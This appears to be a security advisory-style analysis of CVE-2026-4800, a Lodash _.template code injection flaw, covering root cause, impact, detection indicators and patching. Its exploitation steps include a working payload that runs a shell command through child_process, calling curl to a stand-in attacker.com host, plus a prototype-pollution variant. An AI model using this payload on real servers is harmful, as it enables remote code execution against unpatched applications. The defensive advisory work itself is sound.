CVE-2026-4800: 
JavaScript vulnerability analysis and mitigation

CVE-2026-4800 is a code injection vulnerability in the Lodash JavaScript utility library's _.template function, specifically affecting how options.imports key names are handled. The fix for CVE-2021-23337 added validation for the variable option in _.template but failed to apply the same validation to options.imports key names, both of which flow into the same Function() constructor sink. Affected packages include lodash, lodash-es, lodash-amd, and lodash.template versions >= 4.0.0 and <= 4.17.23 (patched in 4.18.0). It was published on March 31, 2026, with a CVSS v3.1 base score of 8.1 (High) per the GitHub Advisory, though NVD rates it 9.8 (Critical) (Github Advisory, Feedly).

The root cause (CWE-94: Improper Control of Generation of Code) is an incomplete fix: while CVE-2021-23337's patch validated the variable option against a reForbiddenIdentifierChars regex, it did not apply the same check to options.imports key names before passing them to the Function() constructor. An attacker who can control options.imports key names can inject default-parameter expressions (e.g., x=process.getBuiltinModule("child_process").execSync("cmd")) that execute at template compilation time. A secondary attack vector exists via prototype pollution: _.template uses assignInWith to merge imports, which enumerates inherited properties via for..in; if Object.prototype has been polluted by any other vector, the polluted keys are copied into the imports object and passed to Function(). The fix in version 4.18.0 applies the reForbiddenIdentifierChars validation to import keys and replaces assignInWith with assignWith to enumerate only own properties (Github Advisory, Lodash Commit).

Successful exploitation allows an attacker to execute arbitrary code at template compilation time on the server running the vulnerable Lodash version, resulting in full confidentiality, integrity, and availability compromise. The vulnerability is network-accessible and requires no privileges or user interaction, making it particularly dangerous in applications that pass any user-controlled data as options.imports key names. Beyond the core Lodash library, dozens of IBM enterprise products are affected, including IBM Aspera Faspex, IBM App Connect Enterprise, IBM QRadar, IBM Maximo Application Suite, IBM Watson Discovery, and many others, significantly broadening the potential attack surface (Github Advisory, Feedly).

A public proof-of-concept (PoC) exploit is available on GitHub at https://github.com/threalwinky/CVE-2026-4800-POC, demonstrating arbitrary code execution via prototype pollution combined with Lodash template injection (Feedly). As of the time of reporting, there is no evidence of active in-the-wild exploitation, and no threat actor attribution has been made. The EPSS score is approximately 0.068% (Feedly) / 0.046% (GitHub Advisory), indicating low current exploitation probability. The vulnerability is not listed in the CISA KEV catalog. Detection signatures are available in Nessus (plugin IDs 304625, 306054, 306046, 310400, 310414, 310684, 310828, 310880, and others) and Qualys (Feedly).

1. Identify vulnerable targets: Locate Node.js applications using lodash, lodash-es, lodash-amd, or lodash.template versions >= 4.0.0 and <= 4.17.23 that pass user-controlled data as options.imports key names to _.template().
2. Craft a malicious imports key: Construct a key name containing a default-parameter expression that executes arbitrary code, e.g., x=process.getBuiltinModule("child_process").execSync("curl https://attacker.com").
3. Deliver the payload: Pass the malicious key as part of the options.imports object to the application's _.template() call — for example: _.template('', { imports: { 'x=process.getBuiltinModule("child_process").execSync("curl https://attacker.com")': undefined } }).
4. Trigger template compilation: Cause the application to compile the template (e.g., by submitting a crafted HTTP request to an endpoint that invokes _.template with attacker-controlled imports).
5. Achieve code execution: The injected expression is evaluated inside the Function() constructor at compilation time, executing the attacker's command in the context of the Node.js process.
6. Alternative via prototype pollution: If direct control of options.imports keys is not possible, first pollute Object.prototype with a malicious key (e.g., Object.prototype['x=...'] = undefined) via a separate prototype pollution vector, then trigger any _.template() call — the polluted key will be inherited and passed to Function() (Github Advisory, PoC).

• Process: Unexpected child processes spawned by the Node.js process (e.g., sh, bash, curl, wget, python) that correlate with template compilation events.
• Network: Outbound connections from the Node.js application server to unknown external IPs or domains immediately following template rendering requests; DNS lookups for attacker-controlled domains.
• Logs: Application error logs showing unexpected Function() constructor evaluation errors or stack traces originating from _.template; access logs showing unusual or malformed request parameters that may contain encoded JavaScript expressions.
• File System: Unexpected files written to the application directory or /tmp by the Node.js process; new cron jobs or scheduled tasks created by the application service account.
• Runtime: Presence of Object.prototype properties with names containing characters like =, (, ), {, } that are not expected in normal application operation (indicative of prototype pollution).

Upgrade all affected Lodash packages to version 4.18.0 or later (lodash, lodash-es, lodash-amd, lodash.template). For lodash-rails, upgrade to 4.17.21 or later. As an immediate workaround if patching is not possible, ensure that only developer-controlled, static strings are used as key names in options.imports — never pass untrusted user input as import key names. IBM has released product-specific advisories and patches for all affected products including IBM Aspera Faspex, IBM App Connect Enterprise, IBM QRadar, IBM Maximo Application Suite, IBM Watson Discovery, and others; consult the relevant IBM security bulletins for version-specific remediation guidance (Github Advisory, Lodash Commit).

IBM has issued over 30 product-specific security bulletins addressing CVE-2026-4800 across its portfolio, reflecting the broad impact of Lodash's widespread use in enterprise software (Feedly). Red Hat has also published multiple errata (RHSA-2026:8490, RHSA-2026:8483, RHSA-2026:9385, and others) addressing the vulnerability in affected packages. Ubuntu issued security notice USN-8411-1 for lodash. The vulnerability was reported by multiple independent researchers (dolevmiz1, bugbunny-research, M0nd0R, threalwinky) and remediated by the OpenJS Foundation's Lodash maintainers, indicating coordinated disclosure. Community discussion has been moderate, with security blogs and CVE tracking sites covering the issue shortly after disclosure.